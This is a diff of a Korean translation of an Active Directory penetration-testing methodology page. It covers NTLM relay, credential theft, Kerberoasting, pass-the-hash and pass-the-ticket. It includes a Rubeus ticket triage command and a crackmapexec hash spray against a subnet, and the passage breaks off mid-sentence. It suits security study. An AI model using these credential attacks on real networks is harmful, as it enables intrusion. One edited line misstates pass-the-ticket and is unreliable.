์žˆ์Šต๋‹ˆ๋‹ค. @@ -121,7 +121,7 @@ password-spraying.md ### LLMNR/NBT-NS ์ค‘๋… -๋„คํŠธ์›Œํฌ์˜ ์ผ๋ถ€ ํ”„๋กœํ† ์ฝœ์„ **์ค‘๋…**ํ•˜์—ฌ **ํ•ด์‹œ**๋ฅผ **ํš๋“**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋„คํŠธ์›Œํฌ์˜ ์ผ๋ถ€ ํ”„๋กœํ† ์ฝœ์„ **์ค‘๋…**ํ•˜์—ฌ **ํ•ด์‹œ**๋ฅผ **ํš๋“**ํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -129,11 +129,11 @@ password-spraying.md ### NTML ๋ฆด๋ ˆ์ด -ํ™œ์„ฑ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ–ˆ๋‹ค๋ฉด **๋” ๋งŽ์€ ์ด๋ฉ”์ผ๊ณผ ๋„คํŠธ์›Œํฌ์— ๋Œ€ํ•œ ๋” ๋‚˜์€ ์ดํ•ด**๋ฅผ ๊ฐ–๊ฒŒ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. NTML [**๋ฆด๋ ˆ์ด ๊ณต๊ฒฉ**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*์„ ๊ฐ•์ œ๋กœ ์ˆ˜ํ–‰ํ•˜์—ฌ AD ํ™˜๊ฒฝ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ™œ์„ฑ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ–ˆ๋‹ค๋ฉด **๋” ๋งŽ์€ ์ด๋ฉ”์ผ๊ณผ ๋„คํŠธ์›Œํฌ์— ๋Œ€ํ•œ ๋” ๋‚˜์€ ์ดํ•ด**๋ฅผ ๊ฐ–๊ฒŒ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. NTML [**๋ฆด๋ ˆ์ด ๊ณต๊ฒฉ**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*์„ ๊ฐ•์ œ๋กœ ์ˆ˜ํ–‰ํ•˜์—ฌ AD ํ™˜๊ฒฝ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. -### NTLM ์ž๊ฒฉ ์ฆ๋ช… ๋„์šฉ +### NTLM ์ž๊ฒฉ ์ฆ๋ช… ํ›”์น˜๊ธฐ -**null ๋˜๋Š” guest ์‚ฌ์šฉ์ž**๋กœ ๋‹ค๋ฅธ PC๋‚˜ ๊ณต์œ ์— **์ ‘๊ทผ**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, **ํŒŒ์ผ์„ ๋ฐฐ์น˜**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: SCF ํŒŒ์ผ). ์ด ํŒŒ์ผ์ด ์ ‘๊ทผ๋˜๋ฉด **๋‹น์‹ ์— ๋Œ€ํ•œ NTML ์ธ์ฆ์„ ํŠธ๋ฆฌ๊ฑฐ**ํ•˜์—ฌ **NTLM ์ฑŒ๋ฆฐ์ง€**๋ฅผ ๋„์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +**null ๋˜๋Š” guest ์‚ฌ์šฉ์ž**๋กœ ๋‹ค๋ฅธ PC๋‚˜ ๊ณต์œ ์— **์ ‘๊ทผ**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, **ํŒŒ์ผ์„ ๋ฐฐ์น˜**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: SCF ํŒŒ์ผ). ์ด ํŒŒ์ผ์ด ์–ด๋–ค ์‹์œผ๋กœ๋“  ์ ‘๊ทผ๋˜๋ฉด **๋‹น์‹ ์— ๋Œ€ํ•œ NTML ์ธ์ฆ์„ ํŠธ๋ฆฌ๊ฑฐ**ํ•˜์—ฌ **NTLM ์ฑŒ๋ฆฐ์ง€**๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -158,13 +158,13 @@ kerberos-double-hop-problem.md - [**CMD๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ธฐ๋ณธ ์ •์ฐฐ ์ˆ˜ํ–‰**](../basic-cmd-for-pentesters.md#domain-info) - [**powershell์„ ์‚ฌ์šฉํ•˜์—ฌ ์ •์ฐฐ**](../basic-powershell-for-pentesters/index.html)ํ•  ์ˆ˜๋„ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๋” ์€๋ฐ€ํ•ฉ๋‹ˆ๋‹ค. - [**powerview ์‚ฌ์šฉ**](../basic-powershell-for-pentesters/powerview.md)ํ•˜์—ฌ ๋” ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- ํ™œ์„ฑ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์ •์ฐฐ์„ ์œ„ํ•œ ๋˜ ๋‹ค๋ฅธ ํ›Œ๋ฅญํ•œ ๋„๊ตฌ๋Š” [**BloodHound**](bloodhound.md)์ž…๋‹ˆ๋‹ค. ์ด๋Š” **๊ทธ๋ฆฌ ์€๋ฐ€ํ•˜์ง€๋Š” ์•Š์ง€๋งŒ** (์‚ฌ์šฉํ•˜๋Š” ์ˆ˜์ง‘ ๋ฐฉ๋ฒ•์— ๋”ฐ๋ผ ๋‹ค๋ฆ„), **๊ทธ๊ฒƒ์— ๋Œ€ํ•ด ์‹ ๊ฒฝ ์“ฐ์ง€ ์•Š๋Š”๋‹ค๋ฉด** ๊ผญ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”. ์‚ฌ์šฉ์ž๊ฐ€ RDPํ•  ์ˆ˜ ์žˆ๋Š” ์œ„์น˜, ๋‹ค๋ฅธ ๊ทธ๋ฃน์œผ๋กœ์˜ ๊ฒฝ๋กœ ๋“ฑ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ํ™œ์„ฑ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์ •์ฐฐ์„ ์œ„ํ•œ ๋˜ ๋‹ค๋ฅธ ํ›Œ๋ฅญํ•œ ๋„๊ตฌ๋Š” [**BloodHound**](bloodhound.md)์ž…๋‹ˆ๋‹ค. ์ด๋Š” **๊ทธ๋ฆฌ ์€๋ฐ€ํ•˜์ง€๋Š” ์•Š์ง€๋งŒ** (์‚ฌ์šฉํ•˜๋Š” ์ˆ˜์ง‘ ๋ฐฉ๋ฒ•์— ๋”ฐ๋ผ ๋‹ค๋ฆ„), **๊ทธ๊ฒƒ์— ๋Œ€ํ•ด ์‹ ๊ฒฝ ์“ฐ์ง€ ์•Š๋Š”๋‹ค๋ฉด** ๊ผญ ์‹œ๋„ํ•ด ๋ณด์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ RDPํ•  ์ˆ˜ ์žˆ๋Š” ์œ„์น˜๋ฅผ ์ฐพ๊ณ , ๋‹ค๋ฅธ ๊ทธ๋ฃน์œผ๋กœ ๊ฐ€๋Š” ๊ฒฝ๋กœ๋ฅผ ์ฐพ๋Š” ๋“ฑ์˜ ์ž‘์—…์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - **๊ธฐํƒ€ ์ž๋™ํ™”๋œ AD ์—ด๊ฑฐ ๋„๊ตฌ๋Š”:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**AD์˜ DNS ๋ ˆ์ฝ”๋“œ**](ad-dns-records.md)๋„ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” **GUI ๋„๊ตฌ**๋Š” **SysInternal** Suite์˜ **AdExplorer.exe**์ž…๋‹ˆ๋‹ค. - **ldapsearch**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ LDAP ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ _userPassword_ ๋ฐ _unixUserPassword_ ํ•„๋“œ์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ฐพ๊ฑฐ๋‚˜ _Description_์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. cf. [PayloadsAllTheThings์˜ AD ์‚ฌ์šฉ์ž ์ฃผ์„์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)์—์„œ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”. - **Linux**๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ [**pywerview**](https://github.com/the-useless-one/pywerview)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋„๋ฉ”์ธ์„ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- ์ž๋™ํ™” ๋„๊ตฌ๋ฅผ ์‹œ๋„ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: +- ์ž๋™ํ™” ๋„๊ตฌ๋กœ๋Š” ๋‹ค์Œ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) - **๋ชจ๋“  ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž ์ถ”์ถœํ•˜๊ธฐ** @@ -175,7 +175,7 @@ Windows์—์„œ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์–ป๋Š” ๊ฒƒ์€ ๋งค์šฐ ์‰ฝ์Šต๋‹ˆ๋‹ค (` ### Kerberoast -Kerberoasting์€ ์‚ฌ์šฉ์ž ๊ณ„์ •์— ์—ฐ๊ฒฐ๋œ ์„œ๋น„์Šค์—์„œ ์‚ฌ์šฉ๋˜๋Š” **TGS ํ‹ฐ์ผ“**์„ ์–ป๊ณ , ๊ทธ ์•”ํ˜ธํ™”๋ฅผ ํฌ๋ž™ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹คโ€”์ด๋Š” ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋ฉฐโ€”**์˜คํ”„๋ผ์ธ**์—์„œ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. +Kerberoasting์€ ์‚ฌ์šฉ์ž ๊ณ„์ •์— ์—ฐ๊ฒฐ๋œ ์„œ๋น„์Šค์—์„œ ์‚ฌ์šฉ๋˜๋Š” **TGS ํ‹ฐ์ผ“**์„ ํš๋“ํ•˜๊ณ , ๊ทธ ์•”ํ˜ธํ™”๋ฅผ ํฌ๋ž™ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹คโ€”์ด๋Š” ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋ฉฐโ€”**์˜คํ”„๋ผ์ธ**์—์„œ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€: @@ -191,11 +191,11 @@ kerberoast.md ์ •์ƒ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋กœ์„œ ์ž๊ฒฉ ์ฆ๋ช…์ด๋‚˜ ์„ธ์…˜์„ ์†์ƒ์‹œํ‚ค๊ณ , ์ด ์‚ฌ์šฉ์ž๋กœ **๋„๋ฉ”์ธ ๋‚ด์˜ ์–ด๋–ค ๋จธ์‹ ์— ์ ‘๊ทผ**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, **๋กœ์ปฌ์—์„œ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๊ณ  ์ž๊ฒฉ ์ฆ๋ช…์„ ์ฐพ๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ** ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ์žˆ์–ด์•ผ๋งŒ **๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ํ•ด์‹œ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ(LSASS)์™€ ๋กœ์ปฌ(SAM)์—์„œ ๋คํ”„**ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. -์ด ์ฑ…์—๋Š” [**Windows์—์„œ์˜ ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน**](../windows-local-privilege-escalation/index.html)์— ๋Œ€ํ•œ ์™„์ „ํ•œ ํŽ˜์ด์ง€์™€ [**์ฒดํฌ๋ฆฌ์ŠคํŠธ**](../checklist-windows-privilege-escalation.md)๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”. +์ด ์ฑ…์—๋Š” [**Windows์—์„œ์˜ ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน**](../windows-local-privilege-escalation/index.html)๊ณผ [**์ฒดํฌ๋ฆฌ์ŠคํŠธ**](../checklist-windows-privilege-escalation.md)์— ๋Œ€ํ•œ ์™„์ „ํ•œ ํŽ˜์ด์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”. ### ํ˜„์žฌ ์„ธ์…˜ ํ‹ฐ์ผ“ -์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” **ํ‹ฐ์ผ“**์„ ํ˜„์žฌ ์‚ฌ์šฉ์ž์—์„œ ์ฐพ๋Š” ๊ฒƒ์€ ๋งค์šฐ **๊ฐ€๋Šฅ์„ฑ์ด ๋‚ฎ์ง€๋งŒ**, ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” **ํ‹ฐ์ผ“**์„ ํ˜„์žฌ ์‚ฌ์šฉ์ž์—์„œ ์ฐพ๋Š” ๊ฒƒ์€ ๋งค์šฐ **๊ฐ€๋Šฅ์„ฑ์ด ๋‚ฎ์ง€๋งŒ**, ํ™•์ธํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -229,9 +229,9 @@ kerberoast.md printnightmare.md {{#endref}} -## ๊ถŒํ•œ ์ƒ์Šน: ํŠน๊ถŒ ์ž๊ฒฉ ์ฆ๋ช…/์„ธ์…˜์„ ๊ฐ€์ง„ Active Directory์—์„œ +## ํŠน๊ถŒ ์ž๊ฒฉ ์ฆ๋ช…/์„ธ์…˜์œผ๋กœ Active Directory์—์„œ ๊ถŒํ•œ ์ƒ์Šน -**๋‹ค์Œ ๊ธฐ์ˆ ์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด ์ผ๋ฐ˜ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋กœ๋Š” ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ํŠน๋ณ„ํ•œ ๊ถŒํ•œ/์ž๊ฒฉ ์ฆ๋ช…์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.** +**๋‹ค์Œ ๊ธฐ์ˆ ์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด ์ผ๋ฐ˜ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋กœ๋Š” ๋ถ€์กฑํ•˜๋ฉฐ, ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ํŠน๋ณ„ํ•œ ๊ถŒํ•œ/์ž๊ฒฉ ์ฆ๋ช…์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.** ### ํ•ด์‹œ ์ถ”์ถœ @@ -241,8 +241,8 @@ printnightmare.md ### ํ•ด์‹œ ์ „๋‹ฌ -**์‚ฌ์šฉ์ž์˜ ํ•ด์‹œ๋ฅผ ํ™•๋ณดํ•œ ํ›„**, ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.**\ -ํ•ด์‹œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **NTLM ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜๋Š”** **๋„๊ตฌ**๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋ฉฐ, **๋˜๋Š”** ์ƒˆ๋กœ์šด **sessionlogon**์„ ์ƒ์„ฑํ•˜๊ณ  **LSASS** ๋‚ด๋ถ€์— ๊ทธ **ํ•ด์‹œ๋ฅผ ์ฃผ์ž…**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด **NTLM ์ธ์ฆ์ด ์ˆ˜ํ–‰๋  ๋•Œ** ๊ทธ **ํ•ด์‹œ๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.** ๋งˆ์ง€๋ง‰ ์˜ต์…˜์ด mimikatz๊ฐ€ ํ•˜๋Š” ์ผ์ž…๋‹ˆ๋‹ค.\ +**์‚ฌ์šฉ์ž์˜ ํ•ด์‹œ๋ฅผ ํ™•๋ณดํ•˜๋ฉด**, ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.**\ +ํ•ด์‹œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **NTLM ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜๋Š”** **๋„๊ตฌ**๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋ฉฐ, **๋˜๋Š”** ์ƒˆ๋กœ์šด **์„ธ์…˜๋กœ๊ทธ์˜จ**์„ ์ƒ์„ฑํ•˜๊ณ  **LSASS** ๋‚ด๋ถ€์— ๊ทธ **ํ•ด์‹œ๋ฅผ ์ฃผ์ž…**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด **NTLM ์ธ์ฆ์ด ์ˆ˜ํ–‰๋  ๋•Œ** ๊ทธ **ํ•ด์‹œ๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.** ๋งˆ์ง€๋ง‰ ์˜ต์…˜์ด mimikatz๊ฐ€ ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.\ [**์ž์„ธํ•œ ์ •๋ณด๋Š” ์ด ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”.**](../ntlm/index.html#pass-the-hash) ### ํ•ด์‹œ ์šฐํšŒ/ํ‚ค ์ „๋‹ฌ @@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md ### ํ‹ฐ์ผ“ ์ „๋‹ฌ -**ํ‹ฐ์ผ“ ์ „๋‹ฌ (PTT)** ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์—์„œ ๊ณต๊ฒฉ์ž๋Š” **์‚ฌ์šฉ์ž์˜ ์ธ์ฆ ํ‹ฐ์ผ“์„ ํ›”์นฉ๋‹ˆ๋‹ค**. ์ด ํ›”์นœ ํ‹ฐ์ผ“์€ **์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์–ด** ๋„คํŠธ์›Œํฌ ๋‚ด์˜ ๋ฆฌ์†Œ์Šค์™€ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ์–ป์Šต๋‹ˆ๋‹ค. +**ํ‹ฐ์ผ“ ์ „๋‹ฌ (PTT)** ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์—์„œ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ **์‚ฌ์šฉ์ž์˜ ์ธ์ฆ ํ‹ฐ์ผ“์„ ํ›”์น˜๋Š”** ๋Œ€์‹  ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ ํ•ด์‹œ ๊ฐ’์„ ํ›”์นฉ๋‹ˆ๋‹ค. ์ด ํ›”์นœ ํ‹ฐ์ผ“์€ **์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์–ด** ๋„คํŠธ์›Œํฌ ๋‚ด์˜ ๋ฆฌ์†Œ์Šค์™€ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ์–ป์Šต๋‹ˆ๋‹ค. {{#ref}} pass-the-ticket.md @@ -263,7 +263,7 @@ pass-the-ticket.md ### ์ž๊ฒฉ ์ฆ๋ช… ์žฌ์‚ฌ์šฉ -**๋กœ์ปฌ ๊ด€๋ฆฌ์ž**์˜ **ํ•ด์‹œ** ๋˜๋Š” **๋น„๋ฐ€๋ฒˆํ˜ธ**๊ฐ€ ์žˆ๋‹ค๋ฉด ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ **PC์— ๋กœ์ปฌ๋กœ ๋กœ๊ทธ์ธ**ํ•ด ๋ณด์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. +**๋กœ์ปฌ ๊ด€๋ฆฌ์ž**์˜ **ํ•ด์‹œ**๋‚˜ **๋น„๋ฐ€๋ฒˆํ˜ธ**๊ฐ€ ์žˆ๋‹ค๋ฉด ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ **PC์— ๋กœ์ปฌ๋กœ ๋กœ๊ทธ์ธ**ํ•ด ๋ณด์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine @@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ### MSSQL ๋‚จ์šฉ ๋ฐ ์‹ ๋ขฐ ๋งํฌ ์‚ฌ์šฉ์ž๊ฐ€ **MSSQL ์ธ์Šคํ„ด์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ**์ด ์žˆ๋‹ค๋ฉด, ๊ทธ๋Š” MSSQL ํ˜ธ์ŠคํŠธ์—์„œ **๋ช…๋ น์„ ์‹คํ–‰**ํ•˜๊ฑฐ๋‚˜ (SA๋กœ ์‹คํ–‰ ์ค‘์ธ ๊ฒฝ์šฐ), NetNTLM **ํ•ด์‹œ**๋ฅผ **ํƒˆ์ทจ**ํ•˜๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด **๋ฆด๋ ˆ์ด** **๊ณต๊ฒฉ**์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -๋˜ํ•œ, MSSQL ์ธ์Šคํ„ด์Šค๊ฐ€ ๋‹ค๋ฅธ MSSQL ์ธ์Šคํ„ด์Šค์— ์˜ํ•ด ์‹ ๋ขฐ๋ฐ›๋Š” ๊ฒฝ์šฐ(๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋งํฌ). ์‚ฌ์šฉ์ž๊ฐ€ ์‹ ๋ขฐ๋ฐ›๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ๊ทธ๋Š” **์‹ ๋ขฐ ๊ด€๊ณ„๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ์ธ์Šคํ„ด์Šค์—์„œ๋„ ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์ด๋Ÿฌํ•œ ์‹ ๋ขฐ๋Š” ์—ฐ๊ฒฐ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์–ด๋А ์‹œ์ ์—์„œ ์‚ฌ์šฉ์ž๋Š” ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +๋˜ํ•œ, MSSQL ์ธ์Šคํ„ด์Šค๊ฐ€ ๋‹ค๋ฅธ MSSQL ์ธ์Šคํ„ด์Šค์— ์˜ํ•ด ์‹ ๋ขฐ๋˜๋Š” ๊ฒฝ์šฐ(๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋งํฌ). ์‚ฌ์šฉ์ž๊ฐ€ ์‹ ๋ขฐ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ๊ทธ๋Š” **์‹ ๋ขฐ ๊ด€๊ณ„๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ์ธ์Šคํ„ด์Šค์—์„œ๋„ ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์ด๋Ÿฌํ•œ ์‹ ๋ขฐ๋Š” ์—ฐ๊ฒฐ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์–ด๋А ์‹œ์ ์—์„œ ์‚ฌ์šฉ์ž๋Š” ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ฐ„์˜ ๋งํฌ๋Š” ํฌ๋ฆฌ์ŠคํŠธ ์‹ ๋ขฐ๋ฅผ ๋„˜์–ด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.** {{#ref}} @@ -294,8 +294,8 @@ unconstrained-delegation.md ### ์ œ์•ฝ๋œ ์œ„์ž„ -์‚ฌ์šฉ์ž ๋˜๋Š” ์ปดํ“จํ„ฐ๊ฐ€ "์ œ์•ฝ๋œ ์œ„์ž„"์„ ํ—ˆ์šฉ๋ฐ›์œผ๋ฉด, **์ปดํ“จํ„ฐ์˜ ์ผ๋ถ€ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ค ์‚ฌ์šฉ์ž๋„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ -๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ด ์‚ฌ์šฉ์ž/์ปดํ“จํ„ฐ์˜ **ํ•ด์‹œ๋ฅผ ์†์ƒ์‹œํ‚ค๋ฉด** **์–ด๋–ค 